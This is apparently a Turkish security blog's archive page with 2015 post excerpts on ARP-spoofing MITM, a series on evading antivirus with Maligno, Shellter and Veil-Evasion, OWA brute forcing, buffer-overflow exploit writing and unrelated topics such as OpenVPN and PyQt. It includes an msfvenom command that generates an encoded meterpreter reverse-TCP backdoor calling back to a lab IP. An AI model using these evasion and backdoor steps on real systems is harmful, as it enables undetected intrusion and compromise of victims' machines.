25 Kasım 2015 Çarşamba

MITMf + BeEF + Metasploit = Exploit Combo

ARP Poisoning/Spoofing ile bir network içerisinde çeşitli saldırılar yapılabilir. Örnek olarak aynı ağda bulunduğumuz kurban veya kurbanların trafiğini üstümüze alabiliriz.

Yerel ağ içerisinde makineler birbirleriyle haberleşirken MAC adreslerini kullanırlar. Bu olay OSI modelindeki 2. katman olan Data Link Layer'da gerçekleşmektedir. Ağda bulunan makineler broadcast ile yaydıkları paket sonrası aynı ağda bulunan diğer makinelerin IP-MAC eşleştirmesini yapar. IP-MAC eşleştirmesinin bulunduğu yer ARP (Address Resolution Protocol) tablosudur. Yerel ağda haberleşmek istenilen iki makine arasında kurulacak bağlantı öncesinde ARP tablosundan bakılarak iletişimin kurulacağı IP'ye denk düşen MAC adresi bulunur ve işlemler bu MAC adresi üstünden gerçekleşir.
ARP poisoning saldırısında, seri şekilde gönderilen ARP paketleri ile kurban ve router arasına girilir. Yazıda ARP spoofing ile gerçekleştirilebilecek saldırılardan olan MITM (Man In The Middle – Ortadaki Adam) anlatılacaktır.
Mitm saldırısının gerçekleştirilmesi sırasında saldırgan ve kurban arasında gerçekleşen trafiği aşağıdaki gibi açıklayabiliriz.

Trafiği yönlendiren cihaza(router/switch), kurbanın MAC adresi diye saldırganın MAC adresi gönderilerek, saldırgan kendini, kurban olarak taklit eder ve cihazın ARP tablosunda IP-MAC eşleştirmesi bu şekilde görünür.
Kurban'a, router MAC adresi diye saldırgan MAC adresi gönderilerek kurbanın ARP tablosundaki router MAC adresi saldırganın MAC adresiyle değiştirilir. Poisoning için gönderilen paketler sahte ARP paketleridir.
Bir resim ile olayı özetlemek gerekirse;

20 Kasım 2015 Cuma

Anti-Virus Atlatma - Maligno

Anti-virüs bypass yazı dizisinin başka bir bölümü olan Maligno aracını anlatan yazı ile devam edeceğiz.

Maligno, Encripto tarafından, python diliyle yazılmış ve open-source olarak geliştirilen, Metasploit framework'ün payload/shellcode üretme aracı olan msfvenom'u kullanarak, meterpreter reverse http, https ve https proxy ile beraber pyton meterpreter reverse tcp bağlantılarını sağlayacak olan shellcode'ları üreterek AES ile şifreleyip ayrıca ürettiği python çıktısını obfuscate edip kullanıma hazır hale getirmektedir.

Kurulum

Yazı süresince yapılan işlemlerde Kali linux işletim sistemi kullanılmıştır. Maligno'nun son sürümü dowload sayfasından indirilebilir.
  • wget https://www.encripto.no/tools/maligno-2.4.tar.gz
  • tar zxvf maligno-2.4.tar.gz # sıkıştırılmış dosya açılıyor 
  • cd maligno-2.4/ && bash install.sh

19 Kasım 2015 Perşembe

Anti-Virus Atlatma - Shellter Custom Payload

Bir önceki yazıda Shellter aracının içerisindeki payloadları kullanarak, çalıştırılabilir dosya formatında ki bir dosyaya arka kapı yerleştirmiştik. Oluşturulan bu zararlı yazılımın Virustotal sitesindeki taramasından elde edilen sonuç 1/56 idi.
Bu yazıda yine Shellter aracını kullanacağız fakat bu sefer gömülü gelen payloadlar yerine, Metasploit Framework'ün içerisinde bulunan Msfvenom ile üreteceğimiz ve bize meterpreter ile reverse bir TCP bağlantı veren payload kullanacağız.

Msfvenom

Öncelikle Msfvenom kullanarak bir payload üreteceğiz. Msfvenom, Metasploit framework'ün içerisinde bulunan Msfpayload ve Msfencode araçlarının birleşimidir. Üstünde iyileştirmeler ve optimizasyon yapılmıştır, önceki araçlara göre hızlı bir şekilde payload/shellcode üretmektedir. Artık Metasploit içerisinde msfpayload ve msfencode araçları kullanılmamaktadır. Default olarak Msfvenom gelmektedir. Basit bir şekilde, x86/shikata_ga_nai ile 10 iterasyonla encode edilmiş bir payload kullanacağız.
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.134 LPORT=5656 -a x86 -e x86/shikata_ga_nai -i 10 -f raw -o Backdoor.raw

7 Kasım 2015 Cumartesi

Anti-Virus Atlatma - Shellter

Anti-virüs bypass yazı dizisinin başka bir bölümü olan Shellter aracını anlatan yazı ile devam edeceğiz.

Shellter, ücretsiz ve multi platform çalışabilen bir anti-virus bypass aracıdır. Genel olarak var olan bir çalıştırılabilir dosyaya zararlı yazılımımızı entegre etmeye yarar. Bu şekilde ürettiğimiz (Metasploit'in msfvenom aracını kullanarak) arka kapıyı, çalıştırılabilir dosya formatı olan exe formatındaki dosyalara Shellter ile enjekte edip kurban makinesinde çalıştırabiliriz.

Kurulum

Anlatılacak olan işlemlerde Kali linux işletim sistemi kullanıldığı için, işlemler linux sistemlere göre anlatılacaktır. Shellter'in download sayfasını incelediğimiz vakit bir kaç alternatif olduğunu görüyoruz.
  • Zip dosyasını indirmek (Yazım sırasındaki son versiyon v5.1)
  • Linux dağıtımlarının depolarından kurmak (Kali için v3.1)
  • Debian/Arch dağıtımları için hazır paket ile kurmak (Debian için v2.0) 

6 Kasım 2015 Cuma

Anti-Virus Atlatma - Veil-Evasion

Merhaba,
Yazı dizisi şeklinde yayınlamayı planladığım ve anti-virüs bypass işlemlerinin, farklı araçlar ile yapılmasını, bunların online virüs tarama sitelerindeki sonuçlarını görebileceğiniz bir formatta oluşturacağım yazı dizisinin ilki ile başlıyoruz.
 
Sızma testleri sırasında test edilen bazı makinelerde Endpoint security olarak anti-virüs yazılımları kurulu olabilir. Böyle durumlarda bağlantı kurulan/kurulacak makinede meterpreter yada başka bir Metasploit shell'i açmak için anti-virus bypass yazılımları kullanmak gerekebilir. Temel olarak bu tarz yazılımlar kullandıkları çeşitli encoding yöntemleriyle anti-virüslerden gizlenebilmektedirler. Yazımızda işleyeceğimiz araç Veil-evasion'dur. Veil, açık kaynak kodlu olarak geliştirilen bir framework'tür. Biz Veil framework içerisindeki anti-virüs atlatma aracı olan Veil-evasion'u kullanacağız.

Kurulum

Linux üstüne kurulumu için mevcut kodlarının olduğu Github sayfasından (https://github.com/Veil-Framework/Veil-Evasion) indirip setup klasörünün altında bulunan setup.sh scripti ile kurulumu yapabilirsiniz.
  • git clone https://github.com/Veil-Framework/Veil-Evasion.git 
  • cd Veil-Evasion/setup 
  • bash setup.sh -s

2 Ekim 2015 Cuma

Metasploit - invalid input syntax for type inet: "webmail.xxx.com.tr" Hatası ve Çözümü

Merhaba,

uzun zaman oldu görüşmeyeli, hiç özlemedim sizi.. Şaka şaka. Siz özlediniz mi ben? Hit mit yok lan az ziyaret edin sayfaları :)

Evet, uzun bir aradan sonra gireceğimiz yazıdaki konumuza gelelim. OWA yani Outlook Web Access. Bildiğiniz kurumsalların genelde Exchange server üstünde kurdukları web mail şeysi.
Yazıda basitçe çözümünü anlatacağım olay, OWA'ya düzenlenen brute force saldırılarında kullanılan Metasploit modülü olan owa_login (auxiliary/scanner/http/owa_login) ile ilgilidir.

Bir pentest sırasında, kurumun webmail adresine yönelik gerçekleştirdiğim brute force saldırısı için Metasploit'in bahsettiğim modülünü kullandım. Fakat ilk başarılı işlemden sonra hata vererek işlemleri sonlandırıyordu. İş brute force olmaktan çıkmıştı, tek atışlık brute force mu olur? Ölümüne gitmen lazım senin. Neyse ilk yaptığım deneme sırasında aldığım çıktı şöyle bir şey oldu.

27 Mart 2015 Cuma

Linux Server'a OpenVPN Kurulumu ve Windows İstemciden Bağlanma

VPN bazen lazım olur, devletlümüzün engellediği yerlere girmek için veya görülmesini istemediğiniz trafiğiniz olduğu zaman VPN'ler işe yarar. Etrafta free VPN'ler çokca var ama bunların server'ında duran logların baskalarına verilmediğini trafiğinizin ne kadar güvende olduğunu bilemezsiniz.

Bu yüzden bu yazıda kendi server'ımıza, ben DigitalOcean'dan kiraladığım VPS'ime Debian 7.0 x64 server kurdum, OpenVPN kurulumunu kısaca yazacağım. -Ubuntu ve CentOS'ta da çalışır.-
Etrafta OpenVPN kurulumu ile ilgili yazılar aradığınızda (How to install openvpn on blabla) çokca uzun içinde kurarken canımızdan bezmemize neden olabilecek bir ton olay göreceksiniz.

Bunun böyle olduğunun farkına varanlar sağolsunlar işi bir bash script yazarak halletmişler. Ki bunu Github'ta forklayanda 100'ün üstünde kişi var, yani OpenVPN'den biz çektik siz çekmeyin diyip geliştirmeye yardım etmişler.

KURULUM

Önce sistemimize bir update & upgrade çekelim.
 apt-get update && apt-get upgrade  

Easy-cred.sh "Some prereqs missing, functionality may be impaired. Review README file" Hatası ve Çözümü

İsmi Easy Credential'dan gelen, bash ile yazılmış bu scriptimiz Poisoning ve Fake AP saldırıları için kullanılabilecek güzide bir araçtır.

Giriş ekranı şöyle bir şey.
Poisoning Attacks menüsünde görebileceğiniz üzere Standard ARP Poison, Oneway ARP Poison, DHCP Poison, DNS Poison, ICMP Poison gibi saldırı türleri var.

18 Mart 2015 Çarşamba

PyQt ile Responsive Arayüz Yapma

    Responsive'dan kastım componentleri güncellenmesi, anlık olarak, ekranda diğer componentleri aksatmadan işlemler yapabilmenizdir.
Javada bu tarz işlemleri yaparkene mecburen thread kullanıyorduk. Bir süredir Python'la ugrasıyordum. Geçenlerde arkadaşın Github reposundan forkladığım, komut satırında çalışan dosya indirmeye yarayan Python ile yazılmış uygulamaya bi ayar çekeyim dedim. Forklayıp ayrı bir python dosyası şeklinde arayüzlü versiyonu ekledim.

Kullandığım componentlerden biride Progressbar idi. Malum dosyanın yüzde kaçının indiğini kullanıcıya göstermek lazım. Az araştırdım genelde progressbar ile ilgili iş yapanlar ya thread yada timer kullanıyordu.

Sonrasında şu büyülü satırı buldum. Ne thread ne başka birşeye gerek kalmadan tek satırla işimizi şu şekilde halledebiliriz.

14 Mart 2015 Cumartesi

Stack Based Buffer Overflow ve Exploit Kodlama - 1

2014'ün son ayında başlayıp uyuşukluğumdan dolayı yarıda kestiğim yazıyı yeniden yazma girişiminde bulundum. Arada bir kaç kez daha bırakmış olsamda sonunda bitiriyorum.

Uzunca bir yazı olacak, bu yüzden Stack ve Buffer gibi kavramları anlatmakla fazla vakit kaybetmeye gerek yok (ilerleyen kısımlarda bir görselle bir kaç şey anlatmam dışında). Bu adresten ayrıntılı bilgileri okuyabilirsiniz. Şimdi bir uygulamayı patlatmak ve overflow ettiğimiz uygulama için Exploit yazmak için yapılan temel adımları şöyle sıralayabiliriz.
ÖNEMLİ:  Bu yazıda anlatacaklarım herhangi bir koruma mekanızmasına (SEH, ASLR vs.) karşı bypass içermemektedir. O tarz overflow ve exploit kodlamaları ileriki yazılarda olur umarım -üşenmez yazarsam-
  • Uygulamanın girdi alan noktalarında bir overflow tespit etmek
  • Overflow olan sınırı tespit etmek
  • Uygulama içinde bizi Stack'e yönlendirecek adresi bulmak
  • Bad charları tespit etmek
  • Uygun shellcode yazmak
  • Ve bomm
Bu yazı muhtemelen seri şeklinde olacaktır. İlk olarak local bir buffer overflow uygulaması ile temelleri yazmaya çalışacam, sonrakilerinde remote overflow içinde anlatımlar olacaktır. Umarım...

Temel olarak buffer overflow için şunu söyleyebiliriz: Uygulamanın çalışma sırasında kullanıcıdan aldığı bir girdiye ayrılan sınırın üstünde data girişi yapmaktır. Birçok overflow yazısında int buff[125] gibi bir girdi alanı açılıp strcpy, memcpy vs ile C dilinin kontrolsüz fonksiyonlarını kullanarak uygulamaya 125'ten fazla bir input yollayarak programı patlatmayı anlatır. Anlatılanda doğrudur, mantık aynen bu şekilde işler, haddinden fazla inputu göndermek ve eğer kontrol yoksa uygulamayı patlatmak.
Uygulamaya fazla input yolladığımızda stack'in yapısından dolayı stack'e atılan parametreler ve geri dönüş değerler ezilir/kaybolur bundan dolayı uygulama crash olur ve sonlanır. İyi bir exploit, geri dönüş değerini istediğimiz bir alana referans ettirmek ve o alana shellcode'umuzu doldurmak ile olur. Sonrası işlemcide, sağolsun kendisi bizim için işlemleri yapacaktır.

Patlatacağımız uygulamaya ait Perl diliyle yazılmış exploit koduna Exploit-db den bakabilirsiniz. Biz Python ile exploiti geliştireceğiz. Verdiğim linkte uygulama için download linkide bulunmakta.

Let's Begin

Öncelikle uygulamanın kabul ettiği formatlardan biri olan m3u için dosya oluşturup içini junk datayla dolduran bir kod yazalım. Başlangıç olarak 10.000 byte verelim.

4 Mart 2015 Çarşamba

VMware Workstation - The virtual machine appears to be in use Hatası ve Çözümü

Canım sıkıldı bi VMware'den XP'ye gireyim az BOF yapayım dedim. Bi de ne göreyim VMware Workstation diyor ki "The virtual machine appears to be in use.". Aman tanrım didim.


Neyse ki korkulacak bişey yokmuş. Çözümü kurmuş olduğunuz sanal makineyi hiçbir şekilde etkilemiyor rahat olsun içiniz.

8 Ocak 2015 Perşembe

CryptoDouble - Yatır Coini Katla İkiye

    Bir kaç zaman önce cloud mining ile ilgili iş yapan CoIntellect ile ilgili yazmış olduğum yazıda iyi kötü yaşanılan olaydan ve yatırdığım paradan bahsetmiştim. Şimdi iki tane 100€'luk paketim var, yatırım yaptığım parayı çıkardım gerisi kâr sülalem raat. Neyse ordan aldığım ilk ödemeyi Dogecoin olarak alıp Bitcoin'e çevirdikten sonra bi şu işe gireyim diyerekten BTC işine girdim. BTCTurk isimli türk sitesinde biriktirmeye başladım Bitcoinciklerimi. Az buçuk bişeyler biriktikten sonra coinin fiyatı acayip düştü. Ne oldu kâr edecez diye kalkıştığımız iş bi tarafımızda patladı. 860 liralardan 610-650 lira bandına kadar bir düşüş yaşandı.

Paracıklarım gitmişti. Zarardaydım ne yapacaktım peki? Yükselmesini bekleyip 750 lira bandındayken paraları cekip zararı minimuma indirecektim. Ama ben ne yaptım? Milletin yeni yeni ve hararetli bir şekilde konuşmaya başladığı The Place for Your Profit mottosuyla ortaya çıkan CryptoDouble  adresine yatırdım. Peki nedir bu CryptoDouble?